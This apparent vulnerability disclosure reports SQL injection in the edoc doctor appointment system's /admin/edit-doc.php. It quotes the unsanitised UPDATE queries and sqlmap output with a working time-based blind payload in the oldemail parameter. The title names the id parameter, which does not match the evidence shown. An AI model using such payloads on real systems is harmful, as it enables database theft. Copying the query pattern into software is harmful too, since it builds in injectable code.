SQL injection vulnerability exists in id parameter of /admin/edit-doc.php file of edoc doctor appointment system

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
$sql1="update doctor set docemail='$email',docname='$name',docpassword='$password',docnic='$nic',doctel='$tele',specialties=
$spec where docid=$id ;";
$database->query($sql1);

$sql1="update webuser set email='$email' where email='$oldemail' ;";
$database->query($sql1);
```

```
sqlmap identified the following injection point(s) with a total of 1124 HTTP(s) requests:
---
Parameter: oldemail (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 RLIKE time-based blind
    Payload: id00=1&oldemail=doctor@edoc.com' RLIKE SLEEP(5)-- ZZpV&email=123@123com&name=123&nic=123&Tele=123123123
123&spec=1&password=123123&cpassword=123123
---
```

“

Parameter: oldemail (POST)

Type: time-based blind

Title: MySQL >= 5.0.12 RLIKE time-based blind

Payload: id00=1&oldemail=doctor@edoc.com' RLIKE SLEEP(5)--ZZpV&email=123@123com&name=123&nic=123&Tele=123123123123&spec=1&password=123123&cpassword=123123

“

Source Download：

https://www.sourcecodester.com/hashenudara/simple-doctors-appointment-project.html